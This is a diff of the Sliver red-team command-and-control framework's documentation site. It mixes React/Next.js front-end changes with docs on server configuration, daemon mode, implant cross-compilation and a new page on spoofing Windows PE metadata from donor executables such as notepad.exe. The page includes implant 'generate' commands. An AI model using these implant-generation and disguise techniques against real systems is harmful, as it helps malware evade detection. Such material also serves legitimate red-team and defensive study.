"https://discord.com/channels/791066041198968873/1339996286514106409",
"_blank",
);
}}
>
<FontAwesomeIcon icon={faDiscord} />
</Button>
</Tooltip>
<Tooltip content="View on GitHub">
<Button
variant="ghost"
onPress={() => {
window.open("https://github.com/BishopFox/sliver", "_blank");
}}
>
<FontAwesomeIcon icon={faGithub} />
</Button>
</Tooltip>
</NavbarContent>
<div className="flex items-center gap-2 md:hidden">
<Button
variant="ghost"
onPress={() => {
setTheme(theme === Themes.DARK ? Themes.LIGHT : Themes.DARK);
}}
isDisabled={!mounted}
<Tooltip
content={theme === Themes.DARK ? "Switch to light mode" : "Switch to dark mode"}
>
<FontAwesomeIcon icon={lightDarkModeIcon} />
</Button>
<Button
variant="ghost"
aria-label={isMobileMenuOpen ? "Close menu" : "Open menu"}
onPress={() => setIsMobileMenuOpen((current) => !current)}
>
<FontAwesomeIcon icon={isMobileMenuOpen ? faXmark : faBars} />
</Button>
<Button
variant="ghost"
onPress={() => {
setTheme(theme === Themes.DARK ? Themes.LIGHT : Themes.DARK);
}}
isDisabled={!mounted}
>
<FontAwesomeIcon icon={lightDarkModeIcon} />
</Button>
</Tooltip>
<Tooltip content={isMobileMenuOpen ? "Close menu" : "Open menu"}>
<Button
variant="ghost"
aria-label={isMobileMenuOpen ? "Close menu" : "Open menu"}
onPress={() => setIsMobileMenuOpen((current) => !current)}
>
<FontAwesomeIcon icon={isMobileMenuOpen ? faXmark : faBars} />
</Button>
</Tooltip>
</div>
</Navbar>
@@ -212,6 +249,16 @@ export default function TopNavbar(props: TopNavbarProps) {
>
Tutorials
</Button>
<Button
variant={router.pathname.startsWith("/talks") ? "solid" : "light"}
color={router.pathname.startsWith("/talks") ? "primary" : "default"}
onPress={() => {
router.push("/talks");
setIsMobileMenuOpen(false);
}}
>
Talks
</Button>
<Button
variant={router.pathname.startsWith("/docs") ? "solid" : "light"}
color={router.pathname.startsWith("/docs") ? "primary" : "default"}
@@ -222,6 +269,18 @@ export default function TopNavbar(props: TopNavbarProps) {
>
Docs
</Button>
<Button
variant="light"
onPress={() => {
window.open(
"https://discord.com/channels/791066041198968873/1339996286514106409",
"_blank",
);
}}
startContent={<FontAwesomeIcon icon={faDiscord} />}
>
Discord
</Button>
<Button
variant="light"
onPress={() => {
+226 -5
View File
@@ -1,19 +1,240 @@
import React from "react";
type YoutubePlayerState = {
PLAYING: number;
};
type YoutubePlayerStateChangeEvent = {
data: number;
};
type YoutubePlayer = {
destroy?: () => void;
};
type YoutubePlayerCtor = new (
element: HTMLIFrameElement | string,
options?: {
events?: {
onStateChange?: (event: YoutubePlayerStateChangeEvent) => void;
};
}
) => YoutubePlayer;
type YoutubeNamespace = {
Player: YoutubePlayerCtor;
PlayerState: YoutubePlayerState;
};
declare global {
interface Window {
YT?: YoutubeNamespace;
onYouTubeIframeAPIReady?: () => void;
__sliverYoutubeApiPromise?: Promise<YoutubeNamespace>;
}
}
export type YoutubeProps = {
className?: string;
iframeClassName?: string;
width?: number;
height?: number;
responsive?: boolean;
title?: string;
startAt?: number;
embedId: string;
embedId?: string;
url?: string;
onInteract?: () => void;
onPlay?: () => void;
};
const YOUTUBE_ID_PATTERN = /^[A-Za-z0-9_-]{11}$/;
function parseYoutubeEmbedIdFromUrl(input: string): string | null {
try {
const parsed = new URL(input);
const host = parsed.hostname.toLowerCase().replace(/^www\./, "");
const parts = parsed.pathname.split("/").filter(Boolean);
let candidate = "";
if (host === "youtu.be" && parts.length > 0) {
candidate = parts[0] || "";
} else if (host === "youtube.com" || host === "m.youtube.com") {
if (parts[0] === "watch") {
candidate = parsed.searchParams.get("v") || "";
} else if ((parts[0] === "embed" || parts[0] === "shorts") && parts.length > 1) {
candidate = parts[1] || "";
}
}
return YOUTUBE_ID_PATTERN.test(candidate) ? candidate : null;
} catch {
return null;
}
}
function resolveYoutubeEmbedId(embedId?: string, url?: string): string | null {
const idCandidate = (embedId || "").trim();
if (YOUTUBE_ID_PATTERN.test(idCandidate)) {
return idCandidate;
}
if (idCandidate) {
const parsedFromEmbedId = parseYoutubeEmbedIdFromUrl(idCandidate);
if (parsedFromEmbedId) {
return parsedFromEmbedId;
}
}
const urlCandidate = (url || "").trim();
if (urlCandidate) {
return parseYoutubeEmbedIdFromUrl(urlCandidate);
}
return null;
}
function loadYoutubeIframeApi(): Promise<YoutubeNamespace> {
if (typeof window === "undefined") {
return Promise.reject(new Error("YouTube API cannot load during SSR"));
}
if (window.YT?.Player) {
return Promise.resolve(window.YT);
}
if (window.__sliverYoutubeApiPromise) {
return window.__sliverYoutubeApiPromise;
}
window.__sliverYoutubeApiPromise = new Promise<YoutubeNamespace>((resolve, reject) => {
const previousReadyHandler = window.onYouTubeIframeAPIReady;
window.onYouTubeIframeAPIReady = () => {
previousReadyHandler?.();
if (window.YT?.Player) {
resolve(window.YT);
} else {
reject(new Error("YouTube API loaded without Player support"));
}
};
const existingScript = document.querySelector<HTMLScriptElement>(
"script[data-youtube-iframe-api='true']"
);
if (existingScript) {
return;
}
const script = document.createElement("script");
script.src = "https://www.youtube.com/iframe_api";
script.async = true;
script.dataset.youtubeIframeApi = "true";
script.onerror = () => reject(new Error("Failed to load YouTube iframe API"));
document.head.appendChild(script);
});
return window.__sliverYoutubeApiPromise;
}
export default function Youtube(props: YoutubeProps) {
const {
className,
iframeClassName,
width,
height,
responsive,
title,
startAt,
embedId: embedIdProp,
url,
onInteract,
onPlay,
} = props;
const embedId = resolveYoutubeEmbedId(embedIdProp, url);
const iframeRef = React.useRef<HTMLIFrameElement | null>(null);
const onPlayRef = React.useRef(onPlay);
React.useEffect(() => {
onPlayRef.current = onPlay;
}, [onPlay]);
React.useEffect(() => {
if (!embedId || !onPlayRef.current || !iframeRef.current) {
return;
}
let player: YoutubePlayer | null = null;
let disposed = false;
loadYoutubeIframeApi()
.then((YT) => {
if (disposed || !iframeRef.current) {
return;
}
player = new YT.Player(iframeRef.current, {
events: {
onStateChange: (event) => {
if (event.data === YT.PlayerState.PLAYING) {
onPlayRef.current?.();
}
},
},
});
})
.catch(() => {
// No-op: if API fails, videos still load via standard iframe behavior.
});
return () => {
disposed = true;
player?.destroy?.();
};
}, [embedId]);
if (!embedId) {
return null;
}
const startAtParam =
Number.isFinite(startAt) && startAt && startAt > 0
? `&start=${Math.floor(startAt)}`
: "";
const enableJsApi = onPlay ? "&enablejsapi=1" : "";
const src = `https://www.youtube-nocookie.com/embed/${embedId}?rel=0${startAtParam}${enableJsApi}`;
const playerTitle = title || "YouTube video player";
const isResponsive = responsive ?? true;
const handleInteract = () => onInteract?.();
if (isResponsive) {
return (
<div className={className} onPointerDown={handleInteract}>
<div className="relative w-full overflow-hidden rounded-xl bg-black pb-[56.25%]">
<iframe
ref={iframeRef}
className={`absolute left-0 top-0 h-full w-full ${iframeClassName || ""}`.trim()}
src={src}
title={playerTitle}
loading="lazy"
referrerPolicy="strict-origin-when-cross-origin"
allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture"
allowFullScreen
/>
</div>
</div>
);
}
return (
<div className={props.className}>
<div className={className} onPointerDown={handleInteract}>
<iframe
width={`${props.width ? props.width : 640}`}
height={`${props.height ? props.height : 360}`}
src={`https://youtu.be/embed/${props.embedId}`}
ref={iframeRef}
width={`${width ? width : 640}`}
height={`${height ? height : 360}`}
className={iframeClassName}
src={src}
title={playerTitle}
loading="lazy"
referrerPolicy="strict-origin-when-cross-origin"
allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture"
allowFullScreen
/>
+11
View File
@@ -0,0 +1,11 @@
import nextCoreWebVitals from "eslint-config-next/core-web-vitals";
const config = [
...nextCoreWebVitals,
{
// Monaco bundles are vendor artifacts, not authored source files.
ignores: ["public/js/**"],
},
];
export default config;
+1 -16
View File
@@ -1,6 +1,3 @@
const { spawnSync } = require('child_process');
const path = require('path');
/** @type {import('next').NextConfig} */
const nextConfig = {
output: 'export',
@@ -11,18 +8,6 @@ const nextConfig = {
experimental: {
scrollRestoration: true,
},
webpack: (config, { isServer }) => {
if (isServer) {
const result = spawnSync(process.execPath, [path.join(__dirname, 'prebuild/run-prebuild.js')], {
stdio: 'inherit',
});
if (result.status !== 0) {
throw new Error('[prebuild] webpack hook failed');
}
}
return config;
}
}
};
module.exports = nextConfig;
+3716 -1029
View File
File diff suppressed because it is too large. Load diff
+6 -5
View File
@@ -3,10 +3,10 @@
"version": "0.1.0",
"private": true,
"scripts": {
"dev": "npm run prebuild && concurrently -k -n prebuild,dev \"npm run prebuild:watch -- --skip-initial\" \"next dev\"",
"build": "npm run prebuild && next build",
"dev": "npm run prebuild && concurrently -k -n prebuild,dev \"npm run prebuild:watch -- --skip-initial\" \"next dev --webpack\"",
"build": "npm run prebuild && next build --webpack",
"start": "next start",
"lint": "next lint",
"lint": "eslint .",
"prebuild": "node ./prebuild/run-prebuild.js",
"prebuild:watch": "node ./prebuild/watch.js",
"offline": "npm run build && zip -r www.zip ./out",
@@ -26,7 +26,8 @@
"framer-motion": "^12.23.22",
"fuse.js": "^7.1.0",
"lunr": "^2.3.9",
"next": "^15.5.9",
"mermaid": "^11.12.2",
"next": "^16.1.6",
"next-themes": "^0.4.6",
"react": "^19.2.0",
"react-dom": "^19.2.0",
@@ -44,7 +45,7 @@
"autoprefixer": "^10.4.21",
"concurrently": "^9.1.0",
"eslint": "^9.37.0",
"eslint-config-next": "^15.5.4",
"eslint-config-next": "^16.1.6",
"postcss": "^8.5.6",
"tailwindcss": "^4.1.14",
"typescript": "^5.9.3"
+2 -2
View File
@@ -2,7 +2,7 @@ import Document, { Head, Html, Main, NextScript } from "next/document";
import React from "react";
// This generates the https: and wss: "connect-src" directives based on the above backends list so its a little easier to edit.
const CSP = `default-src 'none'; script-src 'self' 'unsafe-eval'; img-src 'self'; style-src 'self' 'unsafe-inline'; font-src 'self'; frame-src https://youtu.be; connect-src 'self'`;
const CSP = `default-src 'none'; script-src 'self' 'unsafe-eval' 'sha256-HSN8D632WcMJaQDjNrIwVtSeQLAfKAVZRSyJiv6bjQw=' https://www.youtube.com https://s.ytimg.com; img-src 'self' data: https://i.ytimg.com https://*.ytimg.com; style-src 'self' 'unsafe-inline'; font-src 'self'; frame-src https://youtu.be https://www.youtube.com https://youtube.com https://www.youtube-nocookie.com; connect-src 'self'`;
class MyDocument extends Document {
static async getInitialProps(ctx: any) {
@@ -15,7 +15,7 @@ class MyDocument extends Document {
render() {
return (
<Html lang="en" suppressHydrationWarning>
<Html lang="en" className="dark" suppressHydrationWarning>
<Head>
<meta httpEquiv="Content-Security-Policy" content={CSP} />
</Head>
+16 -12
View File
@@ -1,4 +1,5 @@
import MarkdownViewer from "@/components/markdown";
import LoadingState from "@/components/loading-state";
import { Docs } from "@/util/docs";
import { PREBUILD_VERSION } from "@/util/__generated__/prebuild-version";
import { fetchDocs as fetchDocsContent } from "@/util/content-fetchers";
@@ -34,14 +35,17 @@ const DocsIndexPage: NextPage = () => {
});
const params = useSearchParams();
const [name, setName] = React.useState("");
const [markdown, setMarkdown] = React.useState("");
React.useEffect(() => {
const _name = params.get("name");
setName(_name || "");
setMarkdown(docs?.docs.find((doc) => doc.name === _name)?.content || "");
}, [params, docs]);
const name = params.get("name") || "";
const markdown = React.useMemo(() => {
return docs?.docs.find((doc) => doc.name === name)?.content || "";
}, [docs, name]);
const hasNameQueryInPath = React.useMemo(() => {
const query = router.asPath.split("?")[1];
if (!query) {
return false;
}
return new URLSearchParams(query).has("name");
}, [router.asPath]);
const [filterValue, setFilterValue] = React.useState("");
const fuse = React.useMemo(() => {
@@ -79,8 +83,8 @@ const DocsIndexPage: NextPage = () => {
}
}, [theme]);
if (isLoading || !docs) {
return <div>Loading...</div>;
if (isLoading || !docs || (hasNameQueryInPath && !name)) {
return <LoadingState />;
}
return (
@@ -127,7 +131,7 @@ const DocsIndexPage: NextPage = () => {
</div>
<div className="grid grid-cols-1 gap-6 lg:grid-cols-12 lg:gap-8">
<aside className="hidden lg:block lg:col-span-3">
<div className="sticky top-24 ml-4 flex flex-col gap-3">
<div className="sticky top-16 ml-4 flex flex-col gap-3">
<Input
className="mt-2"
placeholder="Filter..."
@@ -171,7 +175,7 @@ const DocsIndexPage: NextPage = () => {
<Divider />
<CardBody>
<MarkdownViewer
key={name || `${Math.random()}`}
key={name}
markdown={markdown || ""}
/>
</CardBody>
@@ -1,6 +1,4 @@
You'll want to compile from a MacOS or Linux machine. Compiling from native Windows is possible in theory, but none of the asset scripts are designed to run on Windows. You can cross-compile the Windows server/client binaries from a better operating system like Linux or MacOS. If you only have a Windows machine, see "Windows Builds" below (TL;DR: use WSL).
# Sliver v1.6.x
You'll want to compile Sliver from a MacOS or Linux machine. Compiling from native Windows is possible in theory, but none of the scripts are designed to run on Windows. You can cross-compile the Windows server/client binaries from a better operating system like Linux or MacOS. If you only have a Windows machine, you should be able to use the Windows Subsystem for Linux (WSL).
To compile from source you'll need:
@@ -62,7 +60,7 @@ The Docker build includes mingw and Metasploit, so it can take a while to build
### Windows Builds
If all you have is a Windows machine, the easiest way to build Sliver is using [WSL](https://docs.microsoft.com/en-us/windows/wsl/install-win10) and following the Linux/cross-compile instructions above. To cross-compile a native Windows binary use `make windows-amd64` and copy it to your Windows file system (i.e. `/mnt/c/Users/foo/Desktop`) and run it using a terminal that supports ANSI sequences such as the [Windows Terminal](https://github.com/microsoft/terminal).
If all you have is a Windows machine, the easiest way to build Sliver is using [WSL](https://docs.microsoft.com/en-us/windows/wsl/install-win10) and following the Linux/cross-compile instructions above. To cross-compile a Windows binary use `make windows-amd64` and copy it to your Windows file system (i.e. `/mnt/c/Users/foo/Desktop`) and, you will need to run it using a terminal that supports ANSI sequences such as the [Windows Terminal](https://github.com/microsoft/terminal).
# Developers
@@ -1,94 +1,131 @@
### General Server Configuration
The Sliver server has a configuration file located in the `configs` sub-directory of the [`SLIVER_ROOT_DIR`](/docs?name=Environment+Variables); by default this is `~/.sliver/configs/server.json`. If no configuration file exists, a default configuration will be generated and written to disk on startup. The default configuration is shown below:
The Sliver server configuration file is located in the `configs` sub-directory of [`SLIVER_ROOT_DIR`](/docs?name=Environment+Variables); by default this is `~/.sliver/configs/server.yaml`.
If no configuration file exists, a default YAML configuration is generated and written to disk on startup. If a legacy `server.json` file exists, Sliver reads it, writes `server.yaml`, and renames the old file to `.server.json-old`.
#### Default Server Config
```json
{
"daemon_mode": false,
"daemon": {
"host": "",
"port": 31337
},
"logs": {
"level": 4,
"grpc_unary_payloads": false,
"grpc_stream_payloads": false
},
"grpc": {
"keepalive": {
"min_time_seconds": 30,
"permit_without_stream": true
}
}
}
```yaml
daemon_mode: false
daemon:
host: ""
port: 31337
tailscale: false
logs:
level: 4
grpc_unary_payloads: false
grpc_stream_payloads: false
tls_key_logger: false
grpc:
keepalive:
min_time_seconds: 30
permit_without_stream: true
watch_tower: null
go_proxy: ""
http_default:
headers:
- method: GET
name: Cache-Control
value: no-store, no-cache, must-revalidate
probability: 100
notifications:
enabled: false
services: {}
cc: {}
cxx: {}
```
#### Configuration Options
- `daemon_mode` - Enable [daemon mode](/docs?name=Daemon+Mode)
- `daemon` - An object containing options related to `daemon_mode`, these values are only used when `daemon_mode` is set to `true`.
- `host` - What network interface to bind the `daemon_mode` client listener to. By default this is an empty string, which indicates binding to all interfaces.
- `port` - TCP port to bind the `daemon_mode` client listener to.
- `logs` - An object containing configuration options for server logs
- `level` - The `logrus` logging level (1 - 5), by default this is set to `4`, which is the `INFO` level; increasing this value increases the verbosity of the logs e.g. `DEBUG` is `5` and `SILENT` is `1`
- `grpc_unary_payloads` - Log gRPC unary payloads
- `grpc_stream_payloads` - Log gRPC streaming payloads
- `grpc` - An object containing options for the server gRPC stack
- `keepalive` - gRPC keepalive enforcement configuration
- `min_time_seconds` - Minimum amount of time (in seconds) between client pings before the server sends a GOAWAY with `too_many_pings`
- `permit_without_stream` - Allow client pings when there are no active streams
- `daemon_mode` - Enable [daemon mode](/docs?name=Daemon+Mode).
- `daemon` - Options for daemon mode.
- `host` - Interface to bind the daemon listener to. Empty string means all interfaces.
- `port` - TCP port for the daemon listener.
- `tailscale` - Enable Tailscale for daemon listener setup.
- `logs` - Server logging options.
- `level` - `logrus` level (`0`-`6`, clamped by Sliver). `4` is `INFO`, `5` is `DEBUG`, `6` is `TRACE`.
- `grpc_unary_payloads` - Log gRPC unary payloads.
- `grpc_stream_payloads` - Log gRPC streaming payloads.
- `tls_key_logger` - Enable TLS key logging (for debugging/traffic analysis only; sensitive).
- `grpc.keepalive` - gRPC keepalive enforcement configuration.
- `min_time_seconds` - Minimum time (seconds) between client pings before sending GOAWAY (`too_many_pings`).
- `permit_without_stream` - Allow client pings when there are no active streams.
- `watch_tower` - Optional API keys for Watchtower integrations.
- `vt_api_key` - VirusTotal API key.
- `xforce_api_key` - IBM X-Force API key.
- `xforce_api_password` - IBM X-Force API password.
- `go_proxy` - Optional `GOPROXY` override used by server-side builds.
- `http_default.headers` - Default HTTP headers for anonymous server responses.
- `method` - HTTP method to apply to (for example `GET`).
- `name` - Header name.
- `value` - Header value.
- `probability` - Percent chance (0-100) that the header is added.
- `notifications` - Server notification config. See [Notifications](/docs?name=Notifications) for the full schema.
- `cc` - Optional compiler overrides map (`GOOS/GOARCH` -> C compiler path).
- `cxx` - Optional compiler overrides map (`GOOS/GOARCH` -> C++ compiler path).
## Database Configuration
Sliver supports SQL database configurations. By default this configuration file is located at `~/.sliver/configs/database.json`:
Sliver supports SQL database configurations in `~/.sliver/configs/database.yaml`.
If no configuration file exists, a default YAML configuration is generated and written to disk on startup. If a legacy `database.json` exists, Sliver reads it, writes `database.yaml`, and renames the old file to `.database.json-old`.
#### Default Database Configuration
```json
{
"dialect": "sqlite3",
"database": "",
"username": "",
"password": "",
"host": "",
"port": 0,
"params": null,
"max_idle_conns": 10,
"max_open_conns": 100,
"log_level": "warn"
}
```yaml
dialect: sqlite3
database: ""
username: ""
password: ""
host: ""
port: 0
params:
cache: shared
pragmas:
busy_timeout: "5000"
journal_mode: WAL
synchronous: NORMAL
temp_store: MEMORY
max_idle_conns: 10
max_open_conns: 100
log_level: warn
```
#### Configuration Options
- `dialect` - Defines the type of database to connect to, Sliver supports `mysql`, `postgresql`, and `sqlite3`. By default an internal version of `sqlite3` is used, which is saved to `~/.sliver/sliver.db` by default.
- `database` - The name of the database to connect to, note that this option is ignored when using `sqlite3`.
- `dialect` - Database backend (`mysql`, `postgresql`, or `sqlite3`).
- `database` - Database name (ignored for `sqlite3`).
- `username` - Database username.
- `password` - Database password.
- `host` - Database host.
- `port` - Database TCP port.
- `params` - Is a key/value string map that can be used to pass dialect-specific options to the DSN/connection string. This can be used, for example, to enable SSL/TLS on certain database connections.
- `max_idle_conns` - Max idle connections in the database connection pool.
- `max_open_conns` - Max open connections in the database connection pool.
- `log_level` - Configures the log level for database logging, can be set to: `silent`, `error`, `warn`, or `info`. Default level is `warn`, note that setting this option to `info` may result in sensitive information being logged to disk!
- `params` - Key/value map of dialect-specific DSN parameters.
- `pragmas` - SQLite pragma map. Used when `dialect` is `sqlite3` and `params` does not already set `_pragma`.
- `max_idle_conns` - Max idle DB connections (minimum enforced value is `1`).
- `max_open_conns` - Max open DB connections (minimum enforced value is `1`).
- `log_level` - GORM DB logging level (`silent`, `error`, `warn`, `info`).
With the default SQLite configuration, Sliver stores the DB at `~/.sliver/sliver.db`.
# Client Configuration
### Operator
Client configurations must be generated by the server (they contain per-user key pairs). For more details see [multiplayer mode](/docs?name=Multi-player+Mode), and example configuration is shown below. Client configuration files can be copied into `~/.sliver-client/configs/`:
Operator client configs are generated by the server and should be copied into `~/.sliver-client/configs/`. These files are currently JSON (`*.cfg`), not YAML.
For details on generating them, see [multiplayer mode](/docs?name=Multi-player+Mode).
```json
{
"operator": "moloch",
"operator": "alice",
"token": "<operator-auth-token>",
"lhost": "localhost",
"lport": 31337,
"ca_certificate": "-----BEGIN CERTIFICATE-----\nMIIBoTCCASegAwIBAgIRAPhwFTptJKJM4Bef71nA29YwCgYIKoZIzj0EAwMwCzEJ\nMAcGA1UEChMAMB4XDTIwMDExNDIyNTY1NloXDTIzMDExMzIyNTY1NlowCzEJMAcG\nA1UEChMAMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEmvGJZ8zDqLxge2PfhK1QcdOi\n6kEV8vgz/S1fSiU9h21JDVaX+FFhG2cYIzr1Q3zE2Ml+pUdnwUSk24pFFTUhjlsO\n4H2YQC/W46DXSa8VQdvpfDaTPYLzXuBhsdVcn2rdo08wTTAOBgNVHQ8BAf8EBAMC\nAqQwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMA8GA1UdEwEB/wQFMAMB\nAf8wCwYDVR0RBAQwAoIAMAoGCCqGSM49BAMDA2gAMGUCMQDOj0sVrVoJSkN4qiqn\nS9wMFNeVOZ+5TVZOOpTn19nc4C/wq9jwdYRHW1dlmvWu2LMCMCm2y1TkaWLa/i4t\nArTCIiCmNVRxAR1xFsWama9yv7wFY0+5xKS7W944418v0jYJKA==\n-----END CERTIFICATE-----\n",
"private_key": "-----BEGIN EC PRIVATE KEY-----\nMIGkAgEBBDBido1KtKSwQah/WIoGkDZDX2WPXdexUVAmi0tf6Pd9vK5pfpt2II+n\n8BqkV0ifyjugBwYFK4EEACKhZANiAATHATh7e8uX/MN5mokguQf4ywXgTaihYD//\nyraEUcZAYsrCtDHmdAH356GPrxlPSpwyWhFV3fIQJKI2Hf/8/mAd3wqCGQQzq5Mt\ncM0B36+vP9wOGsTI/tc32+0glRZoxo8=\n-----END EC PRIVATE KEY-----\n",
"certificate": "-----BEGIN CERTIFICATE-----\nMIIBiTCCAQ+gAwIBAgIQZLa8QUXWDnuht3G9+g9yKTAKBggqhkjOPQQDAzALMQkw\nBwYDVQQKEwAwHhcNMTkwNzIyMjE1MzAzWhcNMjIwNzIxMjE1MzAzWjAcMQkwBwYD\nVQQKEwAxDzANBgNVBAMTBm1vbG9jaDB2MBAGByqGSM49AgEGBSuBBAAiA2IABMcB\nOHt7y5f8w3maiSC5B/jLBeBNqKFgP//KtoRRxkBiysK0MeZ0AffnoY+vGU9KnDJa\nEVXd8hAkojYd//z+YB3fCoIZBDOrky1wzQHfr68/3A4axMj+1zfb7SCVFmjGj6Mn\nMCUwDgYDVR0PAQH/BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMCMAoGCCqGSM49\nBAMDA2gAMGUCMH0hbeghZfMkhp9Wf2a7eqj8IruwKH6vQql/6nxQ8aunfCUUxWo8\nOrxxaqp+bGCCCQIxAK5Icqww8m9llhprfzENaFZUCkpyvBMm9EB8B69SBFBHcVFm\n7bqHjFFMH39g2JCy9Q==\n-----END CERTIFICATE-----\n"
"ca_certificate": "-----BEGIN CERTIFICATE-----\n...\n-----END CERTIFICATE-----\n",
"private_key": "-----BEGIN EC PRIVATE KEY-----\n...\n-----END EC PRIVATE KEY-----\n",
"certificate": "-----BEGIN CERTIFICATE-----\n...\n-----END CERTIFICATE-----\n"
}
```
**Note:** The `operator` field in this configuration file only modifies the value displayed by the client when selecting configurations, modifying it will not change what name the server uses to identify the user. The server determines the user based on the `CommonName` in the certificate. If you want to change the user name you need to regenerate the client configuration with the new name.
**Note:** The `operator` field is mostly a local label in the client. Server-side identity is derived from the client certificate (`CommonName`) and token material generated by the server. If you need to rename an operator, generate a new client configuration.
@@ -1,14 +1,14 @@
**NOTE:** Any platform can cross-compile a standalone executable to any other platform out of the box; you primarily need cross-compilers when using CGO-based formats like `--format shared`, and for `--format shellcode` on macOS/Linux.
Any platform can cross-compile a standalone executable to any other platform out of the box; you primarily need cross-compilers when using CGO-based formats like `--format shared`, and for `--format shellcode` on macOS/Linux.
Sliver can tell you which platforms it can likely target based on the server's platform and available cross-compilers by running the `generate info` command in the console.
Sliver supports [External Builders](/docs?name=External+Builders), which can be used to easily cross-compile implants.
## From Linux to MacOS/Windows
## From Linux to MacOS
Sliver embeds a Zig cross-compiler out of the box, so Windows shared library and shellcode implants from Linux do not require mingw-w64.
To compile MacOS shared library implants from Linux, we recommend using https://github.com/tpoechtrager/osxcross by default Sliver will look in `/opt/osxcross` but you can override this via [environment variables](/docs?name=Environment+Variables). If you do not have a MacOS-based machine you can use GitHub Actions' MacOS instances to build OSXCross.
To compile MacOS shared library or shellcode payloads from Linux, we recommend using [OSX Cross](https://github.com/tpoechtrager/osxcross) by default Sliver will look in `/opt/osxcross` but you can override this via [environment variables](/docs?name=Environment+Variables). If you do not have a MacOS-based machine you can use GitHub Actions' MacOS instances to build OSXCross.
**NOTE:** Sliver expects the root of the osxcross git repo to be located at `/opt/osxcross` and the actual binaries in `/opt/osxcross/target/bin`.
+46 -27
View File
@@ -1,34 +1,53 @@
Sliver supports running in "daemon mode," which automatically starts a client listener (but not an interactive console). In order to connect to a server running in daemon mode you'll need to use [multiplayer mode](/docs?name=Multi-player+Mode).
Sliver supports running in daemon mode, which automatically starts the multiplayer client listener (but not an interactive console). To connect to a daemonized server, use [multiplayer mode](/docs?name=Multi-player+Mode) operator configs.
There are two ways to start the server in daemon mode:
There are two ways to run in daemon mode:
1. Using the command line interface: `sliver-server daemon`
2. Set `daemon_mode` to `true` in the `configs/server.json` located in `SLIVER_ROOT_DIR` (by default: `~/.sliver/configs/server.json`). The listener can be configured via the `daemon` object. The process will respond gracefully to `SIGTERM` on Unix-like operating systems.
1. Start daemon directly from CLI: `sliver-server daemon`
2. Set `daemon_mode: true` in `~/.sliver/configs/server.yaml`, then start normally with `sliver-server`
#### Example Config
If `server.yaml` does not exist, Sliver generates it. If a legacy `server.json` exists, Sliver migrates it to YAML.
```
$ cat ~/.sliver/configs/server.json
{
"daemon_mode": true,
"daemon": {
"host": "",
"port": 31337
},
"logs": {
"level": 5,
"grpc_unary_payloads": false,
"grpc_stream_payloads": false
},
"grpc": {
"keepalive": {
"min_time_seconds": 30,
"permit_without_stream": true
}
}
}
### CLI Behavior
- `sliver-server daemon` supports:
- `-l, --lhost` multiplayer listener host
- `-p, --lport` multiplayer listener port
- `-t, --tailscale` enable Tailscale listener
- `-f, --force` force unpack static assets
- For `sliver-server daemon`, `--lhost` and `--lport` override config values. If omitted, Sliver uses `daemon.host` and `daemon.port` from `server.yaml`.
- For normal startup (`sliver-server`) with `daemon_mode: true`, Sliver uses `daemon.tailscale` from `server.yaml`.
### Example Config
```yaml
daemon_mode: true
daemon:
host: ""
port: 31337
tailscale: false
logs:
level: 4
grpc_unary_payloads: false
grpc_stream_payloads: false
tls_key_logger: false
grpc:
keepalive:
min_time_seconds: 30
permit_without_stream: true
```
#### systemd
### Generating Operator Configs Without Console
With this config you can easily set up a [systemd service](https://www.linode.com/docs/quick-answers/linux/start-service-at-boot/) or init script. See the [Linux install script](/docs?name=Linux+Install+Script) for an example.
Since daemon mode does not provide an interactive server console, generate operator configs using the server CLI:
```bash
./sliver-server operator --name zer0cool --lhost 1.2.3.4 --permissions all --save zer0cool.cfg
```
### Shutdown Behavior
On Unix-like systems, daemon mode handles `SIGTERM` and exits cleanly.
### systemd
With daemon mode enabled in `server.yaml`, you can run Sliver under [systemd](https://www.linode.com/docs/quick-answers/linux/start-service-at-boot/) or another init system. See the [Linux install script](/docs?name=Linux+Install+Script) for an example.
@@ -0,0 +1,179 @@
Executable metadata spoofing lets you post-process a generated build and copy metadata/resource details from a donor executable.
## Overview
The feature is enabled with the `--spoof-metadata` flag on generate commands.
- Current format support: `pe` (Windows PE)
- Config file: `<client app dir>/spoof-metadata.yaml`
- Default client app dir: `~/.sliver-client`
On first client startup, Sliver creates `spoof-metadata.yaml` if it does not exist.
## Flag Usage
`--spoof-metadata` is off by default.
- No flag: metadata spoofing is not applied.
- `--spoof-metadata` (no argument): use `<client app dir>/spoof-metadata.yaml`.
- `--spoof-metadata /path/to/donor.exe`: use the provided donor file directly.
Path mode validation:
- Currently only supported for Windows PE targets.
- Target output format must be executable, service, or shared library.
- Donor PE machine type must match target architecture (`386`, `amd64`, `arm64`).
- For shared library targets, donor must be a DLL; for executable/service targets, donor must not be a DLL.
When path mode is used, Sliver only uses the donor file bytes as `pe.source` and does not read override fields from `spoof-metadata.yaml`.
## Quick Start
1. Start the client once to generate `~/.sliver-client/spoof-metadata.yaml`.
2. Edit `pe.source.path` to point to a donor PE file.
3. Generate with `--spoof-metadata`.
Example:
```bash
sliver > generate --os windows --arch amd64 --format exe --mtls 10.0.0.5 --spoof-metadata -N win-agent
```
Direct donor path example:
```bash
sliver > generate --os windows --arch amd64 --format exe --mtls 10.0.0.5 --spoof-metadata /opt/samples/notepad.exe -N win-agent
```
## Config Format
Top-level config:
```yaml
pe:
source:
name: metadata-source.exe
path: /absolute/path/to/donor.exe
```
`pe.source` is required when using `--spoof-metadata`.
Fields that can carry binary content (such as `source` and `icon`) support:
- `name`: logical filename sent in protobuf metadata
- `path`: local file path read by the client
- `base64`: inline base64 bytes
`name` and `path` are not duplicates:
- `path` controls where bytes are loaded from on the client machine.
- `name` is the filename value sent to the server.
If `path` is set and `name` is omitted, Sliver uses `basename(path)` automatically.
Set only one of `path` or `base64` for each object.
## Examples
### Minimal Path-Based Config
```yaml
pe:
source:
name: metadata-source.exe
path: /opt/samples/notepad.exe
```
### Include Icon Donor Bytes
```yaml
pe:
source:
name: metadata-source.exe
path: /opt/samples/notepad.exe
icon:
name: icon.ico
path: /opt/samples/app.ico
```
### Inline Base64 Config
```yaml
pe:
source:
name: metadata-source.exe
base64: TVqQAAMAAAAEAAAA...
icon:
name: icon.ico
base64: AAABAAEAICAAAAEAIACoEAAAFgAAACgAAAAgAAAAQAAAAAEAIAAAAAAA...
```
### Advanced Optional PE Structure Fields
These fields are optional and act as PE metadata overrides:
```yaml
pe:
source:
